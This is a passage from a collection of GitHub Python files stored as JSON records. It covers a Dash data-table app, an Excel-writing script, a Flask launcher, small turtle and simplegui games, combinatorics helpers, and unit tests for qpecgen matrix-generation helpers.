portrait\n                    title:\"Example Report\", //add title to report\n                });\n            };\n\n            //trigger download of data.html file\n            if (bt_html == 1) {\n                table.download(\"html\", \"data.html\", {style:true});\n            };\n            \n            return ([0, 0, 0, 0, 0, 0]);\n        }\n    \"\"\",\n    [\n        Output(\"tabulator_js\", \"n_clicks\"),\n        Output(\"download-csv\", \"n_clicks\"),\n        Output(\"download-json\", \"n_clicks\"),\n        Output(\"download-xlsx\", \"n_clicks\"),\n        Output(\"download-pdf\", \"n_clicks\"),\n        Output(\"download-html\", \"n_clicks\"),\n    ],\n    [\n        Input(\"tabulator_js\", \"loading_state\"),\n        Input(\"download-csv\", \"n_clicks\"),\n        Input(\"download-json\", \"n_clicks\"),\n        Input(\"download-xlsx\", \"n_clicks\"),\n        Input(\"download-pdf\", \"n_clicks\"),\n        Input(\"download-html\", \"n_clicks\"),\n    ],\n)\n\n\napp.clientside_callback(\n    \"\"\"\n        function aggrid_show(loading_state, n_clicks) {\n            const gridOptions = {\n                enableRangeSelection: true,\n                rowSelection: 'multiple',\n                defaultColDef: {\n                    flex: 1,\n                    minWidth: 100,\n                    filter: true,\n                    resizable: true,\n                },\n                columnDefs: [\n                    { field: \"make\", filter: 'agTextColumnFilter' },\n                    { field: \"model\", filter: 'agTextColumnFilter' },\n                    { field: \"price\", filter: 'agNumberColumnFilter'}\n                ],\n                rowData: [\n                    { make: \"Toyota\", model: \"Celica\", price: 35000 },\n                    { make: \"Ford\", model: \"Mondeo\", price: 32000 },\n                    { make: \"Porsche\", model: \"Boxster\", price: 72000 }\n                ]\n            };\n            new agGrid.Grid(document.querySelector(\"#ag_grid\"), gridOptions);\n        }\n    \"\"\",\n    [\n        Output(\"ag_grid\", \"n_clicks\"),\n    ],\n    [\n        Input(\"ag_grid\", \"loading_state\"),\n    ],\n    [\n        State(\"ag_grid\", \"n_clicks\"),\n    ],\n)\n\n\n@app.callback(\n    [\n        Output(\"dash_tabulator_div\", \"children\"),\n    ],\n    [\n        Input(\"dash_tabulator_table\", \"dataFiltered\"),\n    ],\n)\ndef dash_tabulator_filtering(dataFiltered):\n    return [str(dataFiltered)]\n\n\nself_name = os.path.basename(__file__)[:-3]\nif len(os.sys.argv) == 1:\n    app.run(host=\"127.0.0.1\", port=\"8888\", debug=True)\nelif len(os.sys.argv) == 2:\n    host = os.sys.argv[1]\n    os.system(f\"gunicorn {self_name}:server -b {host}:8888 --reload --timeout 120\")\nelif len(os.sys.argv) == 3:\n    host = os.sys.argv[1]\n    port = int(os.sys.argv[2])\n    os.system(f\"gunicorn {self_name}:server -b {host}:{port} --reload --timeout 120\")\n","repo_name":"rosaldo/Dash-Data-Tables","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26724828081","text":"\n#!/usr/bin/env python\n# coding=utf-8\n \nfrom xlwt import *\n#需要xlwt库的支持\n#import xlwt\nfile = Workbook(encoding = 'utf-8')\n#指定file以utf-8的格式打开\ntable = file.add_sheet('shenyu')\n#指定打开的文件名\n \ndata = {\n        \"3\":[\"王五\",60,66,68],\n        \"1\":[\"张三\",150,120,100],\n        \"2\":[\"李四\",90,99,95]\n      \n        }\n#字典数据\n \nldata = []\nnum = [a for a in data]\n#for循环指定取出key值存入num中\nprint('original',num)\n\nnum.sort()\n#字典数据取出后无需，需要先排序\n \nprint('sorted',num)\n\nfor x in num:\n#for循环将data字典中的键和值分批的保存在ldata中\n    t = [int(x)]\n    for a in data[x]:\n        t.append(a)\n    ldata.append(t)\n    print('ldata',ldata)\n \nfor i,p in enumerate(ldata):\n    print('i',i,'p',p)\n#将数据写入文件,i是enumerate()函数返回的序号数\n    for j,q in enumerate(p):\n        print('j',j,'q',q)\n        table.write(i,j,q)\nfile.save('data.xls')\n","repo_name":"ShenYuCN/WorkspacePython","sub_path":"common/excel/my_excel.py","file_name":"my_excel.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"22962706997","text":"from app import app\nfrom flask.ext.script import Manager, Server\nfrom flask_wtf import CsrfProtect\n\n__author__ = 'Felipe Martinez'\n\ncsrf=CsrfProtect(app)\nmanager = Manager(app)\n\nmanager.add_command('runserver', Server(\n    use_debugger = True,\n    use_reloader = True,\n    host = 'localhost'\n    )\n)\n\n# PORT = 8000\n\nif __name__ == '__main__':\n    manager.run()\n","repo_name":"kuronosu/CRUD-flask","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"33287438160","text":"import turtle\r\nimport time\r\nimport random\r\n\r\ndelay= 0.1\r\n#main window\r\nwindow = turtle.Screen()\r\nwindow.title(\"snake game\")\r\nwindow.bgcolor(\"black\")\r\nwindow.setup(width=600, height=600)\r\nwindow.tracer(0)\r\n\r\n#snake head\r\nhead = turtle.Turtle()\r\nhead.speed(0)\r\nhead.shape(\"square\")\r\nhead.color(\"white\")\r\nhead.penup()\r\nhead.goto(0,0)\r\nhead.direction=\"stop\"\r\n\r\n#snake food\r\nfood = turtle.Turtle()\r\nfood.speed(0)\r\nfood.shapesize()\r\nfood.shape(\"circle\")\r\nfood.color(\"red\")\r\nfood.penup()\r\nfood.goto(0,0)\r\n\r\nsegments = []\r\n\r\n#functions\r\ndef go_up():\r\n    head.direction=\"up\"\r\ndef go_down():\r\n    head.direction=\"down\"\r\ndef go_left():\r\n    head.direction=\"left\"\r\ndef go_right():\r\n    head.direction=\"right\"\r\n\r\ndef move():\r\n    if head.direction==\"up\":\r\n        y=head.ycor()\r\n        head.sety(y+20)\r\n    if head.direction==\"down\":\r\n        y=head.ycor()\r\n        head.sety(y-20)\r\n    if head.direction==\"left\":\r\n        x=head.xcor()\r\n        head.setx(x-20)\r\n    if head.direction==\"right\":\r\n        x=head.xcor()\r\n        head.setx(x+20)\r\n\r\n#keyboard bindings\r\nwindow.listen()\r\nwindow.onkeypress(go_up, \"w\")\r\nwindow.onkeypress(go_down, \"s\")\r\nwindow.onkeypress(go_right, \"d\")\r\nwindow.onkeypress(go_left, \"a\")\r\n\r\n#main game loop\r\nwhile True:\r\n    window.update()\r\n    #window collision\r\n    if head.xcor()>290 or head.xcor()<-290 or head.ycor()>290 or head.ycor()<-290:\r\n        time.sleep(1)\r\n        head.goto(0,0)\r\n        head.direction = \"stop\"\r\n\r\n        #hide segments\r\n        for segment in segments:\r\n            segment.goto(1000, 1000)\r\n        #clear the segments list\r\n        segments.clear()\r\n    if head.distance(food)<20:\r\n        #move food to random spot\r\n        x= random.randint(-290,290)\r\n        y= random.randint(-290,290)\r\n        food.goto(x,y)\r\n\r\n        #snake body\r\n        new_segment= turtle.Turtle()\r\n        new_segment.speed(0)\r\n        new_segment.shape(\"square\")\r\n        new_segment.color(\"grey\")\r\n        new_segment.penup()\r\n        segments.append(new_segment)\r\n    #move the end segments first in reverse order\r\n    for index in range(len(segments)-1, 0, -1):\r\n        x = segments[index-1].xcor()\r\n        y = segments[index-1].ycor()\r\n        segments[index].goto(x,y)\r\n    #move segment 0 to where head is\r\n    if len(segments)> 0:\r\n        x= head.xcor()\r\n        y= head.ycor()\r\n        segments[0].goto(x,y)\r\n\r\n\r\n    move()\r\n    #body collisions\r\n    for segment in segments:\r\n        if segment.distance(head)<20:\r\n            time.sleep(1)\r\n            head.goto(0,0)\r\n            head.direction=\"stop\"\r\n            for segment in segments:\r\n                segment.goto(1000, 1000)\r\n            segments.clear()\r\n    time.sleep(delay)\r\nwindow.mainloop()","repo_name":"VishveshKachroo/Snake-xzenzia","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26011128049","text":"def reducedFactorial(n,r):\n    if type(r) is not int or type(n) is not int or r < 0 or n < 0:\n        return(\"Program yourself a Gamma function, ass.\")\n    elif n == 0 and r != 0:\n        if r == 1:\n            return(1)\n        else:\n            return(1/(r*reducedFactorial(r-1,1)))\n    elif n != 0 and r == 0:\n        if n == 1:\n            return(1)\n        else:\n            return(n*reducedFactorial(n-1,1))\n    elif r > n:\n        return(1/(r*reducedFactorial(r-1,n)))\n    elif n == r:\n        return(1)\n    else: # n > r\n        return(n*reducedFactorial(n-1,r))\n\ndef nCr(n,r):\n    if n < r:\n        return(\"This makes no sense\")\n    t = n-r\n    s = (r >= t)*r + (r < t)*t\n    t = n-s\n    return(int(reducedFactorial(n,s)/reducedFactorial(t,1)))\n\ndef combine(aList,r):\n    if r > len(aList):\n        raise ValueError(\"r cannot be bigger than list size\")\n    elif r == 0:\n        yield([])\n    elif r == len(aList) or not aList:\n        yield(aList)\n    else:\n        for i in range(len(aList)-(r-1)):\n            new_aList = aList[i+1:]\n            for a in combine(new_aList,r-1):\n                yield([aList[i]]+a)\n","repo_name":"randolchance/PythonProjects","sub_path":"combinationsII.py","file_name":"combinationsII.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72696351786","text":"# template for \"Stopwatch: The Game\"\n# start, stop and reset button. \n# Goal is to stop stopwatch on a whole number\n# Reset sets everything back to zero and stops watch\n##################################################\n#Imports\nimport simplegui\n\n\n##################################################\n# define global variables\n#1 represents 100 ms\ntime = 0\ntries = 0\ncatch = 0\n##################################################\n# define helper function format that converts time\n\n# in tenths of seconds into formatted string A:BC.D\n#Should be zero if no value\ndef format(t):\n    ms = time%10\n    sec = (time/10)%60\n    min = int(time/600)\n    return az(str(min)) + \":\" + az(str(sec)) + \".\" + str(ms)\n    \ndef az(t):\n    if len(t) >= 2:\n        return str(t)\n    else:\n        return \"0\" + t\n\n##################################################    \n\n\n# define draw handler\n\ndef draw_handler(canvas):\n    canvas.draw_text(format(time), (50,100), 32, \"Red\")\n    canvas.draw_text(str(catch) +'/' + str(tries), (150,24), 24, \"Blue\")\n# define event handler for timer with 0.1 sec interval\ndef timer_handler():\n    global time\n    time += 1\n\n# define event handlers for buttons; \"Start\", \"Stop\", \"Reset\"\ndef button_start():\n    timer.start()\n    \ndef button_stop():\n    global tries, catch\n    allow = timer.is_running()\n    timer.stop()\n    if allow:\n        tries += 1\n        if time%10 == 0:\n            catch += 1\n\ndef button_restart():\n    global time, catch, tries\n    timer.stop()\n    time,catch,tries = 0,0,0\n\n\n##################################################    \n# create frame\nf = simplegui.create_frame(\"Guess the number\", 200, 200)\n\n##################################################\n# register event handlers\nf.set_draw_handler(draw_handler)\n\ntimer = simplegui.create_timer(100, timer_handler)\nf.add_button('Start', button_start, 100)\nf.add_button('Stop', button_stop, 100)\nf.add_button('Restart', button_restart, 100)\n##################################################\n# start frame\nf.start()\n","repo_name":"jmadrek/Python_IIPP","sub_path":"Stopwatch.py","file_name":"Stopwatch.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35614608368","text":"import functools\nimport random\nimport unittest\n\nimport numpy as np\nimport numpy.linalg\nimport numpy.random\n\nfrom qpecgen import helpers\n\n\nNUMBER_OF_TRIALS = 10000\n\"\"\" Number of trials for tests generating random values. \"\"\"\n\n\nclass TestChooseNum(unittest.TestCase):\n    \"\"\" Unittest for choose_num.\n    \"\"\"\n\n    def test_zero(self):\n        \"\"\" Test giving 0.\n        \"\"\"\n        self.assertEqual(helpers.choose_num(0), 0)\n\n    def test_between_zero_and_one(self):\n        \"\"\" Test giving a number between 0 and 1.\n        \"\"\"\n        self.assertEqual(helpers.choose_num(0.5), 0)\n\n    def test_greater_one(self):\n        \"\"\" Test giving a number greater than 1.\n\n        This test runs choose_num NUMBER_OF_TRIALS times.\n        \"\"\"\n        m = 10\n        for _ in xrange(NUMBER_OF_TRIALS):\n            res = helpers.choose_num(m)\n            self.assertGreaterEqual(res, 0)\n            self.assertLessEqual(res, m)\n\n    def test_negative(self):\n        \"\"\" Test giving negative number.\n        \"\"\"\n        self.assertRaises(ValueError, helpers.choose_num, -5)\n\n    def test_ransom_seed(self):\n        \"\"\"Test setting random seeds.\n        \"\"\"\n        np.random.seed(12345)\n        value = helpers.choose_num(10)\n        self.assertNotEqual(value, helpers.choose_num(10))\n\n        np.random.seed(12345)\n        self.assertEqual(value, helpers.choose_num(10))\n\n        np.random.seed(12346)\n        self.assertNotEqual(value, helpers.choose_num(10))\n\n\nclass TestRand(unittest.TestCase):\n    \"\"\" Unittest for rand.\n    \"\"\"\n\n    def evaluate(self, shape, **kwargs):\n        \"\"\" Evaluate rand.\n\n        Args:\n          shape: Shape of result matrix of randint.\n          kwargs: To be passed to randint.\n        \"\"\"\n        m = helpers.rand(**kwargs)\n        self.assertEqual(m.shape, shape)\n        self.assertGreaterEqual(m.min(), 0)\n        self.assertLessEqual(m.max(), 1)\n\n    def test_one(self):\n        \"\"\" Test for 1 by 1 matrix.\n\n        This test runs choose_num NUMBER_OF_TRIALS times.\n        \"\"\"\n        for _ in range(NUMBER_OF_TRIALS):\n            self.evaluate((1, 1), m=1)\n\n    def test_two_by_one(self):\n        \"\"\" Test for 2 by 1 matrix.\n\n        This test runs choose_num NUMBER_OF_TRIALS times.\n        \"\"\"\n        for _ in range(NUMBER_OF_TRIALS):\n            self.evaluate((2, 1), m=2)\n\n    def test_two_by_two(self):\n        \"\"\" Test for 2 by 2 matrix.\n\n        This test runs choose_num NUMBER_OF_TRIALS times.\n        \"\"\"\n        for _ in range(NUMBER_OF_TRIALS):\n            self.evaluate((2, 2), m=2, n=2)\n\n    def test_ransom_seed(self):\n        \"\"\"Test setting random seeds.\n        \"\"\"\n        np.random.seed(12345)\n        value = helpers.rand(2, 2)\n        self.assertFalse(np.allclose(value, helpers.rand(2, 2)))\n\n        np.random.seed(12345)\n        self.assertTrue(np.allclose(value, helpers.rand(2, 2)))\n\n        np.random.seed(12346)\n        self.assertFalse(np.allclose(value, helpers.rand(2, 2)))\n\n\nclass TestRandcst(unittest.TestCase):\n    \"\"\" Unittest for randcst.\n    \"\"\"\n\n    def test(self):\n        \"\"\" Check outputs.\n\n        This test runs choose_num NUMBER_OF_TRIALS times.\n        \"\"\"\n        for _ in range(NUMBER_OF_TRIALS):\n            m = helpers.randcst()\n            self.assertGreaterEqual(m, 0)\n            self.assertLessEqual(m, 1)\n\n    def test_ransom_seed(self):\n        \"\"\"Test setting random seeds.\n        \"\"\"\n        np.random.seed(12345)\n        value = helpers.randcst()\n        self.assertNotEqual(value, helpers.randcst())\n\n        np.random.seed(12345)\n        self.assertEqual(value, helpers.randcst())\n\n        np.random.seed(12346)\n        self.assertNotEqual(value, helpers.randcst())\n\n\nclass TestRandint(unittest.TestCase):\n    \"\"\" Unittest for randind.\n    \"\"\"\n\n    def setUp(self):\n        \"\"\" Prepare low and high variables.\n        \"\"\"\n        self.low = random.randint(0, 1024)\n        self.high = self.low + random.randint(0, 1024)\n\n    def evaluate(self, shape, **kwargs):\n        \"\"\" Evaluate randint.\n\n        Args:\n          shape: Shape of result matrix of randint.\n          kwargs: To be passed to randint.\n        \"\"\"\n        m = helpers.randint(low=self.low, high=self.high, **kwargs)\n        self.assertEqual(m.shape, shape)\n        self.assertGreaterEqual(m.min(), self.low)\n        self.assertLessEqual(m.max(), self.high)\n\n    def test_one(self):\n        \"\"\" Test for 1 by 1 matrix.\n\n        This test runs choose_num NUMBER_OF_TRIALS times.\n        \"\"\"\n        for _ in range(NUMBER_OF_TRIALS):\n            self.evaluate((1, 1), m=1)\n\n    def test_two_by_one(self):\n        \"\"\" Test for 2 by 1 matrix.\n\n        This test runs choose_num NUMBER_OF_TRIALS times.\n        \"\"\"\n        for _ in range(NUMBER_OF_TRIALS):\n            self.evaluate((2, 1), m=2)\n\n    def test_two_by_two(self):\n        \"\"\" Test for 2 by 2 matrix.\n\n        This test runs choose_num NUMBER_OF_TRIALS times.\n        \"\"\"\n        for _ in range(NUMBER_OF_TRIALS):\n            self.evaluate((2, 2), m=2, n=2)\n\n    def test_ransom_seed(self):\n        \"\"\"Test setting random seeds.\n        \"\"\"\n        np.random.seed(12345)\n        value = helpers.randint(10, 256, 2, 2)\n        self.assertFalse(np.allclose(value, helpers.randint(10, 256, 2, 2)))\n\n        np.random.seed(12345)\n        self.assertTrue(np.allclose(value, helpers.randint(10, 256, 2, 2)))\n\n        np.random.seed(12346)\n        self.assertFalse(np.allclose(value, helpers.randint(10, 256, 2, 2)))\n\n\nclass TestZeros(unittest.TestCase):\n    \"\"\" Unittest for zeros.\n    \"\"\"\n\n    def evaluate(self, shape, **kwargs):\n        \"\"\" Evaluate zeros.\n\n        Args:\n          shape: Shape of result matrix of randint.\n          kwargs: To be passed to randint.\n        \"\"\"\n        m = helpers.zeros(**kwargs)\n        self.assertEqual(m.shape, shape)\n        self.assertGreaterEqual(m.min(), 0)\n        self.assertLessEqual(m.max(), 0)\n\n    def test_one(self):\n        \"\"\" Test for 1 by 1 matrix.\n        \"\"\"\n        self.evaluate((1, 1), m=1)\n\n    def test_two_by_one(self):\n        \"\"\" Test for 2 by 1 matrix.\n        \"\"\"\n        self.evaluate((2, 1), m=2)\n\n    def test_two_by_two(self):\n        \"\"\" Test for 2 by 2 matrix.\n        \"\"\"\n        self.evaluate((2, 2), m=2, n=2)\n\n\nclass TestOnes(TestZeros):\n    \"\"\" Unittest for ones.\n    \"\"\"\n\n    def evaluate(self, shape, **kwargs):\n        \"\"\" Evaluate ones.\n\n        Args:\n          shape: Shape of result matrix of randint.\n          kwargs: To be passed to randint.\n        \"\"\"\n        m = helpers.ones(**kwargs)\n        self.assertEqual(m.shape, shape)\n        self.assertGreaterEqual(m.min(), 1)\n        self.assertLessEqual(m.max(), 1)\n\n\nclass TestEye(unittest.TestCase):\n    \"\"\" Unittest for eye.\n    \"\"\"\n\n    def test_one(self):\n        \"\"\" Test for 1 by 1 matrix.\n        \"\"\"\n        m = helpers.eye(1)\n        v = helpers.rand(1)\n        self.assertTrue(np.array_equal(m.dot(v), v))\n        self.assertTrue(np.array_equal(v.dot(m), v))\n\n    def test_two(self):\n        \"\"\" Test for 2 by 2 matrix.\n        \"\"\"\n        m = helpers.eye(2)\n        v = helpers.rand(2, 2)\n        self.assertTrue(np.array_equal(m.dot(v), v))\n        self.assertTrue(np.array_equal(v.dot(m), v))\n\n\nclass TestConmat(unittest.TestCase):\n    \"\"\" Unittest for conmat.\n    \"\"\"\n\n    def setUp(self):\n        \"\"\" Prepare tests.\n        \"\"\"\n        u = helpers.rand(3, 3)\n        v = helpers.rand(3, 3)\n        self.tup = (u, v)\n\n    def test_v(self):\n        \"\"\" Test option v.\n        \"\"\"\n        res = helpers.conmat(self.tup, \"v\")\n        ans = np.matrix(np.vstack(self.tup))\n        self.assertTrue(np.array_equal(res, ans))\n\n    def test_h(self):\n        \"\"\" Test option h.\n        \"\"\"\n        res = helpers.conmat(self.tup, \"h\")\n        ans = np.matrix(np.hstack(self.tup))\n        self.assertTrue(np.array_equal(res, ans))\n\n    def test_others(self):\n        \"\"\" Test an invalid option.\n        \"\"\"\n        self.assertRaises(ValueError, helpers.conmat, self.tup, \":3\")\n\n\nclass TestNpvec(unittest.TestCase):\n    \"\"\" Unittest for npvec.\n    \"\"\"\n\n    def test(self):\n        \"\"\" Test with a simple input.\n        \"\"\"\n        size = 10\n        vec = [x for x in range(size)]\n        res = helpers.npvec(vec)\n        self.assertEqual(res.shape, (size, 1))\n\n\nclass TestMindiag(unittest.TestCase):\n    \"\"\" Unittest for mindiag.\n    \"\"\"\n\n    def test(self):\n        \"\"\" Test with a simple input.\n        \"\"\"\n        m = helpers.rand(100, 100)\n        ans = m.diagonal().min()\n        self.assertEqual(helpers.mindiag(m), ans)\n\n\nclass TestMaxdiag(unittest.TestCase):\n    \"\"\" Unittest for maxdiag.\n    \"\"\"\n\n    def test(self):\n        \"\"\" Test with a simple input.\n        \"\"\"\n        m = helpers.rand(100, 100)\n        ans = m.diagonal().max()\n        self.assertEqual(helpers.maxdiag(m), ans)\n\n\nclass TestRanddiag(unittest.TestCase):\n    \"\"\" Unittest for randdiag.\n    \"\"\"\n\n    def test_scalar(self):\n        \"\"\" Test for a single value i.e. n = 1.\n        \"\"\"\n        m = helpers.randdiag(1)\n        self.assertEqual(m.shape, (1, 1))\n        self.assertGreaterEqual(m[0, 0], 0)\n        self.assertLessEqual(m[0, 0], 1)\n\n    def test_matrix(self):\n        \"\"\" Test for a matrix i.e. n > 1.\n        \"\"\"\n        size = 100\n        m = helpers.randdiag(size)\n        self.assertEqual(m.shape, (size, size))\n        for i in range(size):\n            for j in range(size):\n                if i == j:\n                    self.assertGreaterEqual(m[i, j], 0)\n                    self.assertLessEqual(m[i, j], 1)\n                else:\n                    self.assertEqual(m[i, j], 0)\n\n\nclass TestReconstruct(unittest.TestCase):\n    \"\"\" Unittest for reconstruct.\n    \"\"\"\n\n    def test_scalar(self):\n        \"\"\" Test with simple inputs.\n        \"\"\"\n        self.evaluate(1)\n\n    def test_matrix(self):\n        \"\"\" Test for a matrix i.e. n > 1.\n        \"\"\"\n        self.evaluate(2)\n\n    def evaluate(self, size):\n        \"\"\" Evaluate with a give size matrix.\n\n        Args:\n          size: Matrix size.\n        \"\"\"\n        ms = [helpers.rand(size, size) for _ in range(3)]\n        ans = functools.reduce(lambda u, v: u.dot(v), ms)\n        self.assertTrue(np.allclose(helpers.reconstruct(*ms), ans))\n\n\nclass TestSchur(unittest.TestCase):\n    \"\"\" Unittest for schur.\n    \"\"\"\n\n    def evaluate(self, size):\n        \"\"\" Evaluate with a give size matrix.\n\n        Args:\n          size: Matrix size.\n        \"\"\"\n        m = helpers.rand(size, size)\n        PU, PD, PV = helpers.schur(m)\n        self.assertTrue(np.allclose(np.dot(PU, np.dot(PD, PV)), m))\n\n    def test_one(self):\n        \"\"\" Test with a 1 by 1 matrix.\n        \"\"\"\n        self.evaluate(1)\n\n    @unittest.skip(\"Issue #66 is not solved.\")\n    def test_two(self):\n        \"\"\" Test with a 2 by 2 matrix.\n        \"\"\"\n        self.evaluate(2)\n\n    @unittest.skip(\"Issue #66 is not solved.\")\n    def test_100(self):\n        \"\"\" Test with a 100 by 100 matrix.\n        \"\"\"\n        self.evaluate(100)\n\n\nclass TestSvd(TestSchur):\n    \"\"\" Unittest for svd.\n    \"\"\"\n\n    def evaluate(self, size):\n        \"\"\" Evaluate with a give size matrix.\n\n        Args:\n          size: Matrix size.\n        \"\"\"\n        m = helpers.rand(size, size)\n        PU, PD, PV = helpers.svd(m)\n\n        self.assertTrue(np.allclose(np.dot(PU, np.dot(PD, PV)), m))\n        for i in range(size):\n            for j in range(size):\n                if i != j:\n                    self.assertEqual(PD[i, j], 0)\n\n\nclass TestAdjustCond(unittest.TestCase):\n    \"\"\" Unittest for adjust_cond.\n    \"\"\"\n\n    def test(self):\n        \"\"\" Test for matrixes of which size are 2 to 100.\n\n        This method checks;\n\n          1. minimum diagonal value of PD is not changed,\n          2. all diagonal values are different,\n          3. condition number of output PD is same as the desired value.\n        \"\"\"\n        for size in range(2, 101):\n            PU = PV = np.identity(size)\n            while True:\n                PD = helpers.randdiag(size)\n                if helpers.mindiag(PD) != helpers.maxdiag(PD):\n                    break\n            cond = 73\n\n            res = helpers.adjust_cond(PU, PD, PV, cond)\n            self.assertAlmostEqual(helpers.mindiag(res), helpers.mindiag(PD))\n            self.assertNotEqual(helpers.mindiag(res), helpers.maxdiag(res))\n            self.assertAlmostEqual(numpy.linalg.cond(res), cond)\n\n    def test_identity_matrix(self):\n        \"\"\" Test for multiple of identity matrix and raise errors.\n        \"\"\"\n        for size in range(2, 101):\n            PU = PV = np.identity(size)\n            PD = random.randint(1, 1024) * np.identity(size)\n            cond = 73\n            self.assertRaises(\n                ValueError, helpers.adjust_cond, PU, PD, PV, cond)\n\n    def test_non_diagonal_matrix(self):\n        \"\"\" Test for multiple of non diagonal matrix and raise errors.\n        \"\"\"\n        for size in range(2, 101):\n            PU = PV = np.identity(size)\n            PD = helpers.rand(size)\n            cond = 73\n            self.assertRaises(\n                ValueError, helpers.adjust_cond, PU, PD, PV, cond)\n\n\nclass TestTweakDiag(unittest.TestCase):\n    \"\"\" Unittest for tweak_diag.\n    \"\"\"\n\n    def test(self):\n        \"\"\" Test with a 100 by 100 matrix.\n        \"\"\"\n        size = 100\n        m = helpers.rand(size, size)\n        min_diagonal = m.diagonal().min()\n        res = helpers.tweak_diag(m)\n\n        for i in range(size):\n            self.assertGreaterEqual(res[i, i], m[i, i] - min_diagonal)\n            self.assertLessEqual(res[i, i], m[i, i] - min_diagonal + 1)\n\n\nclass TestGenGeneralObj(unittest.TestCase):\n    \"\"\" Unittest for gen_general_obj.\n    \"\"\"\n\n    def test_convex(self):\n        \"\"\" Test for convex cases.\n        \"\"\"\n        for size in range(2, 101):\n            cond = random.randint(1, 100)\n\n            numpy.random.seed(cond)\n            res = helpers.gen_general_obj(size, True, cond, 1)\n\n            self.assertEqual(res.shape, (size, size))\n            self.assertGreaterEqual(helpers.mindiag(res), 0)\n            self.assertGreater(helpers.maxdiag(res), 0)\n            self.assertAlmostEqual(numpy.linalg.cond(res), cond)\n\n            numpy.random.seed(cond)\n            half = helpers.gen_general_obj(size, True, cond, 0.5)\n            self.assertTrue(np.allclose(res, half * 2))\n\n    def test_non_convex(self):\n        \"\"\" Test for non convex cases.\n        \"\"\"\n        for size in range(2, 101):\n            cond = random.randint(1, 100)\n\n            numpy.random.seed(cond)\n            res = helpers.gen_general_obj(size, False, cond, 1)\n\n            self.assertEqual(res.shape, (size, size))\n            if size > 50:\n                self.assertLess(helpers.mindiag(res), 0)\n            self.assertAlmostEqual(numpy.linalg.cond(res), cond)\n\n            numpy.random.seed(cond)\n            half = helpers.gen_general_obj(size, False, cond, 0.5)\n            self.assertTrue(np.allclose(res, half * 2))\n\n\nclass TestSanitizeParams(unittest.TestCase):\n    \"\"\" Unittest for sanitize_params.\n    \"\"\"\n\n    def setUp(self):\n        \"\"\" Prepare test.\n        \"\"\"\n        self.param = {\n            \"cond_P\": 20,\n            \"convex_f\": True,\n            \"symm_M\": True,\n            \"mono_M\": True,\n            \"cond_M\": 10,\n            \"scale_P\": 1,\n            \"scale_M\": 1,\n            \"p\": 123,\n            \"first_deg\": 50,\n            \"second_deg\": 100,\n            \"mix_deg\": 10,\n            \"l\": 100,\n            \"n\": 100,\n            \"m\": 50,\n            \"yinfirstlevel\": True,\n            \"make_with_dbl_comps\": False\n        }\n\n    def test_fix_cond_P(self):\n        \"\"\" Test fixing cond_P.\n        \"\"\"\n        self.param[\"cond_P\"] = 0\n        res = helpers.sanitize_params(self.param)\n        self.assertEqual(res[\"cond_P\"], 20)\n\n    def test_fix_convex_f(self):\n        \"\"\" Test fixing convex_f.\n        \"\"\"\n        self.param[\"convex_f\"] = None\n        res = helpers.sanitize_params(self.param)\n        self.assertTrue(res[\"convex_f\"])\n\n    def test_fix_symm_M(self):\n        \"\"\" Test fixing symm_M.\n        \"\"\"\n        self.param[\"symm_M\"] = None\n        res = helpers.sanitize_params(self.param)\n        self.assertTrue(res[\"symm_M\"])\n\n    def test_fix_mono_M(self):\n        \"\"\" Test fixing mono_M.\n        \"\"\"\n        self.param[\"mono_M\"] = None\n        res = helpers.sanitize_params(self.param)\n        self.assertTrue(res[\"mono_M\"])\n\n    def test_fix_cond_M(self):\n        \"\"\" Test fixing cond_M.\n        \"\"\"\n        self.param[\"cond_M\"] = 0\n        res = helpers.sanitize_params(self.param)\n        self.assertEqual(res[\"cond_M\"], 10)\n\n    def test_fix_scale_P(self):\n        \"\"\" Test fixing scale_P.\n        \"\"\"\n        self.param[\"scale_P\"] = 0\n        res = helpers.sanitize_params(self.param)\n        self.assertEqual(res[\"scale_P\"], self.param[\"cond_P\"])\n\n    def test_fix_missing_scale_P(self):\n        \"\"\" Test fixing missing scale_P.\n        \"\"\"\n        del self.param[\"scale_P\"]\n        res = helpers.sanitize_params(self.param)\n        self.assertEqual(res[\"scale_P\"], self.param[\"cond_P\"])\n\n    def test_fix_scale_M(self):\n        \"\"\" Test fixing scale_M.\n        \"\"\"\n        self.param[\"scale_M\"] = 0\n        res = helpers.sanitize_params(self.param)\n        self.assertEqual(res[\"scale_M\"], self.param[\"cond_M\"])\n\n    def test_fix_missing_scale_M(self):\n        \"\"\" Test fixing missing scale_M.\n        \"\"\"\n        del self.param[\"scale_M\"]\n        res = helpers.sanitize_params(self.param)\n        self.assertEqual(res[\"scale_M\"], self.param[\"cond_M\"])\n\n    def test_fix_missing_p(self):\n        \"\"\" Test fixing missing p.\n        \"\"\"\n        del self.param[\"p\"]\n        res = helpers.sanitize_params(self.param)\n        self.assertEqual(res[\"p\"], self.param[\"m\"])\n\n    def test_fix_second_deg_100(self):\n        \"\"\" Test fixing second_deg when qpec_type = 100.\n        \"\"\"\n        self.param[\"second_deg\"] = self.param[\"p\"] + 100\n        res = helpers.sanitize_params(self.param, qpec_type=100)\n        self.assertEqual(res[\"second_deg\"], self.param[\"p\"])\n\n    def test_fix_second_deg_200(self):\n        \"\"\" Test fixing second_deg when qpec_type = 200.\n        \"\"\"\n        self.param[\"second_deg\"] = self.param[\"m\"] + 100\n        res = helpers.sanitize_params(self.param, qpec_type=200)\n        self.assertEqual(res[\"second_deg\"], self.param[\"m\"])\n\n    def test_fix_l_800(self):\n        \"\"\" Test fixing l when qpec_type = 800.\n        \"\"\"\n        res = helpers.sanitize_params(self.param, qpec_type=800)\n        self.assertEqual(res[\"l\"], 0)\n\n    def test_fix_n_800(self):\n        \"\"\" Test fixing n 